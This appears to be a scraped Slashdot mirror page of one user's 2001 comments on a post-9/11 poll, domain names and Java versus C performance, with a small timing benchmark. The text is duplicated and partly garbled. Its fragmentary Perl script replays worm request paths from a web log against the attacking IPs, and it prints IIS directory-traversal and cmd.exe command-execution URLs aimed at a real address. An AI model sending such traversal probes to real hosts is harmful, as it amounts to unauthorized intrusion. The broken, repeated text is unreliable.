The poll and story say two completely different things. To put it in the extreme, killing every US Pilot on Monday Sept 12 would also have been "somewhat or very effective in preventing Tuesday's attacks."
Just because it could have helped, doesn't mean it should be enstated. The world of "what-ifs" and the world of "law and liberty" are two very different places.
Well, it makes sense that if they've been hacked, they have one of the "hackable holes" open. Of course, the worm tests all of the holes it could have got in through.
This little perl script tells you which hole(s) in a target IP were used and are still open:
The way I see it, the best part of.com is that people need not remember it. As we add punctuation to our URL, it gets harder to remember.
Most people consider "www." and ".com" to be native parts of an url. They even consider the "index.html" a native part of an url.
Anyone who opens their eyes to today's media has internalized the standard that there are TONS of websites out there that start with "www." and end with ".com/index.html" Because of that, they have very little difficulty generalizing the principle to new web sites. After all, memorizing one bit of information (the part after www and before the TLD) is much easier than remembering ".fm", ".tv", or ".info" No matter how easy the TLD is to remember. What makes life more difficult is that they must remember two bits of information for non-.com URLs: the fact that it's not a.com, and its true TLD. However, the most important part is that ".com" domains are easy to GUESS. People can hit a company's web-site by knowing only its name and their "general rules of website URLs."
Because of this, no new TLD scheme will help anyone except for the domain squatters. After all, businesses will now have to register ".com,.net,.org,.info,.museum,..."
The problem with what you (and others) suggest about using the HotSpot JVM is that it's not standard.
If we're talking "pure" Java, I think a fair comparison should use the default JDK's javac, and the default JDK's java. Of course, we could compare times based on optimized JVMs -- but we wouldn't really compare "real" Java. Instead, we'd compare an imlementation of it.
I agree that optimized JVMs are much more efficient that "pure java", but they convert much of your code to native code. That's a good thing, but drifts from "pure java." At that point, the line becomes fuzzy -- are we comparing "native vs Java" or "native vs (68% native and 32% bytecode)"?
Also, I'd take the "JVM Initialization" argument with a grain of salt. If a program is slow, users simply say "this sucks. It's too slow." I have enormous amounts of respect for Java, its classloader, and portability -- but those still detract from its performance.
Performance considerations included, though, Java is still my favourite and most used language.
The problem with embedding multiple languages in the same source is that you'll never know to call startupMeUp() or BPtrStrCrash()! C/C++ style coding conventions make me want to puke!
I did this a few times, and the general trend continues.
What also kills Java performance is lazy programming. People tend to use vectors (high-maintenance linked lists) when native arrays will do. Or they'll store a load of information in a Vector, then repeatedly search through it (in O(n) time). If they had any mind for performance, they'd use a native O(logn) data-structure like a Treeset. People use Treesets (a sorted, tree-like data structure) and then re-sort them. Or worse, if they can't find a sort() method for their specific object-type, they'll hack together a bubble or shell sort.
The only place that Java beats other languages is the API. Large enterprises have a Java fetish *not because it's portable*, but because their almighty productivity numbers go through the roof. Where a C++ programmer has to code (or buy) linked lists, b-trees, hashtables, sockets, etc, Java wraps it neatly into the language core.
Second, answers to your peeves:)
1) Typedef = class!
2) Constants only require "final int foo". The public keyword only makes your constant visible to other classes. You don't need this if you define the constant in the class you're using it. The static keyword simply lets you use the variable without having to instantiate the class. Again, you don't need this if you define the constant in the class you're using it.
3) You only have to use parseInt() to take an int from a string. I'd say the equivalent atoi(...) in C is just about the same!
Slashdot Mirror
The poll and story say two completely different things. To put it in the extreme, killing every US Pilot on Monday Sept 12 would also have been "somewhat or very effective in preventing Tuesday's attacks."
Just because it could have helped, doesn't mean it should be enstated. The world of "what-ifs" and the world of "law and liberty" are two very different places.
Well, it makes sense that if they've been hacked, they have one of the "hackable holes" open. Of course, the worm tests all of the holes it could have got in through.
/usr/bin/perl
/var/log/httpd-access.log > access.txt");
/dev/null http://$_") == 0)
/dev/null: Not Found
/dev/null: Not Found
/dev/null: size of remote file is not known
5 c../winnt/system32/cmd.exe?/c+dir
/dev/null: size of remote file is not known
/dev/null: Internal Server Error
/dev/null: Connection reset by peer
/dev/null: Connection refused
/dev/null: Connection refused
/dev/null: Connection refused
/dev/null: Connection refused
/dev/null: Connection refused
/dev/null: Connection refused
/dev/null: Connection refused
/dev/null: Connection refused
/dev/null: Connection refused
/dev/null: Connection refused
/dev/null: Connection refused
This little perl script tells you which hole(s) in a target IP were used and are still open:
#
system("grep $ARGV[0]
system("cat access.txt | awk '{print \$1 \$7}' | sort | uniq > accesstmp.txt");
open INHANDLE, "accesstmp.txt" or die "Cannot open temp file. Exiting.";
while ( <INHANDLE> )
{
if (system("fetch -q -o
{
print "*************** Vulnerable: $_";
}
}
close INHANDLE;
Example usage:
perl testip.pl your.lamers.ip.here
Output:
fetch:
fetch:
fetch:
*************** Vulnerable: 142.150.48.152/_vti_bin/..%255c../..%255c../..%25
fetch:
*************** Vulnerable: 142.150.48.152/c/winnt/system32/cmd.exe?/c+dir
fetch:
fetch:
fetch:
fetch:
fetch:
fetch:
fetch:
fetch:
fetch:
fetch:
fetch:
fetch:
fetch:
The way I see it, the best part of .com is that people need not remember it. As we add punctuation to our URL, it gets harder to remember.
Most people consider "www." and ".com" to be native parts of an url. They even consider the "index.html" a native part of an url.
Anyone who opens their eyes to today's media has internalized the standard that there are TONS of websites out there that start with "www." and end with ".com/index.html" Because of that, they have very little difficulty generalizing the principle to new web sites. After all, memorizing one bit of information (the part after www and before the TLD) is much easier than remembering ".fm", ".tv", or ".info" No matter how easy the TLD is to remember. What makes life more difficult is that they must remember two bits of information for non-.com URLs: the fact that it's not a .com, and its true TLD. However, the most important part is that ".com" domains are easy to GUESS. People can hit a company's web-site by knowing only its name and their "general rules of website URLs."
Because of this, no new TLD scheme will help anyone except for the domain squatters. After all, businesses will now have to register ".com, .net, .org, .info, .museum, ..."
The problem with what you (and others) suggest about using the HotSpot JVM is that it's not standard.
If we're talking "pure" Java, I think a fair comparison should use the default JDK's javac, and the default JDK's java. Of course, we could compare times based on optimized JVMs -- but we wouldn't really compare "real" Java. Instead, we'd compare an imlementation of it.
I agree that optimized JVMs are much more efficient that "pure java", but they convert much of your code to native code. That's a good thing, but drifts from "pure java." At that point, the line becomes fuzzy -- are we comparing "native vs Java" or "native vs (68% native and 32% bytecode)"?
Also, I'd take the "JVM Initialization" argument with a grain of salt. If a program is slow, users simply say "this sucks. It's too slow." I have enormous amounts of respect for Java, its classloader, and portability -- but those still detract from its performance.
Performance considerations included, though, Java is still my favourite and most used language.
Shame on me...
"Java is almost as fast as C." I agree, with evidence.
BS
"Java is almost as fast as C." I DISagree, with evidence.
The problem with embedding multiple languages in the same source is that you'll never know to call startupMeUp() or BPtrStrCrash()! C/C++ style coding conventions make me want to puke!
Okay.. Here's a few things. First, about the original statement, "Java is almost as fast as C." I agree, with evidence.
:)
In terms of raw computation, let's dump some equivalent C and Java. I tested these on my schools large Solaris box.
int main(void)
{
float x = 0;
int counter;
for(counter = 0; counter < 10000000; counter++)
x += (counter / 3.14159265359);
printf("%f\n", x);
return 0;
}
[11:29pm || 24](~)> date && compute && date
Fri Sep 14 23:29:06 EDT 2001
15969064845312.000000
Fri Sep 14 23:29:11 EDT 2001
(5 seconds)
public class Compute
{
public static void main(String args[])
{
float x = 0;
int counter = 0;
for(counter = 0; counter < 10000000; counter++)
x += (counter / 3.14159265359);
System.out.println("" + x);
}
}
[11:29pm || 26](~)> date && java Compute && date
Fri Sep 14 23:29:53 EDT 2001
1.59690648E13
Fri Sep 14 23:30:02 EDT 2001
(9 seconds)
I did this a few times, and the general trend continues.
What also kills Java performance is lazy programming. People tend to use vectors (high-maintenance linked lists) when native arrays will do. Or they'll store a load of information in a Vector, then repeatedly search through it (in O(n) time). If they had any mind for performance, they'd use a native O(logn) data-structure like a Treeset. People use Treesets (a sorted, tree-like data structure) and then re-sort them. Or worse, if they can't find a sort() method for their specific object-type, they'll hack together a bubble or shell sort.
The only place that Java beats other languages is the API. Large enterprises have a Java fetish *not because it's portable*, but because their almighty productivity numbers go through the roof. Where a C++ programmer has to code (or buy) linked lists, b-trees, hashtables, sockets, etc, Java wraps it neatly into the language core.
Second, answers to your peeves
1) Typedef = class!
2) Constants only require "final int foo". The public keyword only makes your constant visible to other classes. You don't need this if you define the constant in the class you're using it. The static keyword simply lets you use the variable without having to instantiate the class. Again, you don't need this if you define the constant in the class you're using it.
3) You only have to use parseInt() to take an int from a string. I'd say the equivalent atoi(...) in C is just about the same!